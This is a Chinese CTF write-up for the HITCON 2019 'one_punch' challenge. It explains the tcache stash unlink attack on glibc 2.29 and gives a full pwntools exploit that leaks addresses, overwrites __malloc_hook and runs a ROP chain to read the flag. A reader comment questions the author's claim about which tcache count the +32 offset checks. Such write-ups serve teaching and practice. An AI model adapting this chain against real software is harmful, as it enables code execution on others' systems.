Loading... 许久没做题了,今天花了半天的时间学习了一下 **Tcache stash unlink attack** 这种利用方式,做了一下 hitcon 的这道题。 其实第一次碰到这道题是在 hctf-game final 的时候,语神给这道题套了一个 php 的壳当成 webpwn 出了出来,当时由于不知道该怎么 leak(由于外面套了一层 php,内部堆的结构非常混乱而且易变)就没有做出来。一直没有复现,解一下这题也就当复现了吧。 漏洞点非常多 * rename 可以 UAF * retire 可以 double free * show 可以 leak 许多东西 * 存在一个后门函数可以使用 malloc 申请空间 leak 堆和 libc 的基址非常容易,申请两个大小相同的堆块再 free 掉,通过 show 函数可以泄露出 fd 指针的值,简单计算一下就可以获得基址。 由于 calloc 不会从 tcache 中取出堆块,所以多次申请和释放就可以填满 tcahce,再申请释放就可以 leak 出 `&main_arena + 96` 了,然后就可以算出 libc_base。 这些都算出来后,结合 UAF 的漏洞,只要有一个 malloc 就可以通过 tcache poisoning 实现对 __malloc_hook 的任意写了。但是 debut 函数使用的是 calloc,只有使用后门函数才可以实现对 malloc 的调用。而要执行后门函数 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2711865065.png "></div> 必须满足 `*(qword_4030 + 32) > 6`,而 qword_4030 中存储的是 tcache_ptread_struct 的地址,也就是要满足大小为 0x20 的 tcache 链中要有 6 个以上的 bins,而我们分配不出这个大小的 chunk。做法其实有许多,这里只说 **Tcache stash unlink attack** 的做法。 ### Tcache stash unlink attack 其实要满足的就是要使一个确定的地址上的值为一个较大的值,自然的,使用 `unsorted bin attack` 是首选,但是在 glibc 2.29 下 ```cpp while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; size = chunksize (victim); mchunkptr next = chunk_at_offset (victim, size); if (__glibc_unlikely (size <= 2 * SIZE_SZ) || __glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): invalid size (unsorted)"); if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ) || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) malloc_printerr ("malloc(): invalid next size (unsorted)"); if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); if (__glibc_unlikely (bck->fd != victim) || __glibc_unlikely (victim->fd != unsorted_chunks (av))) malloc_printerr ("malloc(): unsorted double linked list corrupted"); if (__glibc_unlikely (prev_inuse (next))) malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); ``` 增加了大量检查,使得 `unsorted bin attack` 几乎无法使用,所以就要用到 stash 机制了。 这个机制存在于简单的说,就是尽可能的把 chunk 放到 tcache 中,但是在从其他的 bin 中解链的时候,欠缺检查。以 small bin 为例,分配给用户后,还会继续把队列上的 small bin 放入大小对应的 tcache 中,直到 tcache 被填满或者 small bin 被拿空。下面从代码上来看 以下是分配器处理 small request 的时候,遍历对应的 small bin 的过程 ```cpp if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } ``` 如果 small bin 中有 best fit,就会进行下面这一段是处理分配,也就是将 small bin 的队尾的 chunk 解链,之后返回给用户 ```cpp if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; ``` 如果没有 stash 机制,到这里就可以结束了。但是由于 stash 机制,剩下的 small chunk 也会被尽可能地放进对应大小的 tcache 中 ```cpp if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; ``` 而这里没有进行检查,所以可以起到类似 `unsorted bin attack` 的效果,把一个较大的值写入一段地址中。要满足的条件就是控制一个 small bin 的 bk 指针。 下面引用[此文章的总结](https://zhuanlan.zhihu.com/p/136983333) > **Tcache stash unlink attack**,可以实现等价于 unsortedbin 的作用,即向任意地址写入一个不可控的大数字。其最核心操作,就是先放入 2 个 chunk 到 smallbin,6 个 chunk 到对应的 tcache 。之后在不破坏 fd 的情况下将后放入 smallbin 的 chunk 的 bk 设置为目标地址- 0x10 。这样当再向 smallbin 申请对应 size 的 chunk 时(一般用 calloc,因为 calloc 不请求 tcache ),先放入 smallbin 的 chunk 被分配给用户,然后触发 stash 机制。bck = tc_victim->bk; 此时的 bck 就是目标地址-0x10,之后 bck->fd = bin; 也就是*(目标地址-0x10+0x10) = bin,这样就实现了等价于 unsortedbin 的操作。之后调用 tcache_put 把后放入 smallbin 的 chunk 取出给对应的 tcache ,因为 tcache 之前已经被布置了 6 个 chunk ,这次 put 后达到了阈值,所以也就退出了这次 stash 循环,整个流程就可以正常结束了。 *tcache 中原本就要有 6 个 chunk 还是比较重要的,不然就会出现段错误。因为再一次循环时,我们 tc_victim 就等于我们想写的地址的值了,结合上面的代码可以看出是很容易出现段错误的。* --- 将目标地址覆写为较大值后,就可以 malloc 了,可以很容易地分配到 __malloc_hook 上 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2892248269.png "></div> 但是本题开启了白名单,需要 orw 来获得 flag。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2403764996.png "></div> 注意到我们的输入是先存在栈上,之后再复制过去的,当 calloc 的时候,会调用 `__malloc_hook` 指向的代码,如果我们让它指向 `add rsp,0x·· ; ret` 就可以实现 rop 了。经过调试,`0x48` 就正好会跳转到我们的输入上。 很坑爹的是,libc 中 `open` 函数并不是用 `sys_open` 调用来实现的,而是 `sys_openat`(感谢这位师傅的[文章](https://orangegzy.github.io/2020/09/17/hitcon-ctf-2019-one-punch/))所以要通过 syscall 来实现 open。 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux",'splitw','-h'] #sh = process("./hitcon_ctf_2019_one_punch") sh = remote("node3.buuoj.cn",29896) libc = ELF("./libc-2.29.so") #libc = ELF("/glibc/2.27/amd64/lib/libc.so.6") def debut(payload,index): sh.sendlineafter("> ",'1') sh.sendlineafter("idx: ",str(index)) sh.sendafter("hero name: ",payload) def rename(payload,index): sh.sendlineafter("> ",'2') sh.sendlineafter("idx: ",str(index)) sh.sendafter("hero name: ",payload) def show(index): sh.sendlineafter("> ",'3') sh.sendlineafter("idx: ",str(index)) def retire(index): sh.sendlineafter("> ",'4') sh.sendlineafter("idx: ",str(index)) def magic(payload): sh.sendlineafter("> ",'50056') sh.send(payload) debut('a' * 0xF8,0) debut('a' * 0xF8,1) retire(0) retire(1) show(1) sh.recvuntil(": ") heap_base = u64(sh.recv(6) + '\x00\x00') - 0x260 log.success("heap_base:" + hex(heap_base)) for i in range(4): debut('a' * 0xf8,0) retire(0) for i in range(7): debut('a' * 0x400,0) retire(0) debut('a' * 0x400,0) debut('a' * 0x150,2) debut('a' * 0x400,1) retire(0) show(0) sh.recvuntil(": ") libc_base = u64(sh.recv(6) + '\x00\x00') - libc.symbols["__malloc_hook"] - 0x10 - 96 log.success("libc_base:" + hex(libc_base)) debut('a' * 0x300,2) debut('a' * 0x200,2)#belong to idx:0 retire(1) debut('a' * 0x300,2) debut('a' * 0x200,2)#belong to idx:1 debut('a' * 0x217,2) retire(2) payload = '/flag\x00'.ljust(0x300,'b') + p64(0) + p64(0x101) + p64(heap_base + 0x27D0) + p64(heap_base + 0x30 - 0x10 - 5) rename(payload,1) debut('a' * 0xF8,1) __malloc_hook_addr = libc_base + libc.symbols["__malloc_hook"] rename(p64(__malloc_hook_addr),2) magic('pass') magic(p64(libc_base + 0x8cfd6)) # add rsp,0x48;ret pop_rdi_ret = libc_base + 0x26542 pop_rsi_ret = libc_base + 0x26f9e pop_rdx_ret = libc_base + 0x12bda6 pop_rax_ret = libc_base + 0x47cf8 syscall_ret = libc_base + 0xcf6c5 payload = '' payload += p64(pop_rdi_ret) + p64(heap_base + 0x2A40) payload += p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) payload += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(heap_base) + p64(pop_rdx_ret) + p64(0x100) + p64(libc_base + libc.symbols["read"]) payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(heap_base) + p64(pop_rdx_ret) + p64(0x100) + p64(libc_base + libc.symbols["write"]) debut(payload.ljust(0x100,'a'),0) sh.interactive() ``` 最后修改:2021 年 03 月 30 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧
1 条评论
那个tcache_pthread_struct的地址+32确定不是大小0x220大小tcachebins的个数?是我理解有误还是作者打错了啊。。但是后面又特意说这个大小的tcache 分配不出来,题目给的范围是0x80~0x400,感觉也不像是打错了。。。求作者能解释一下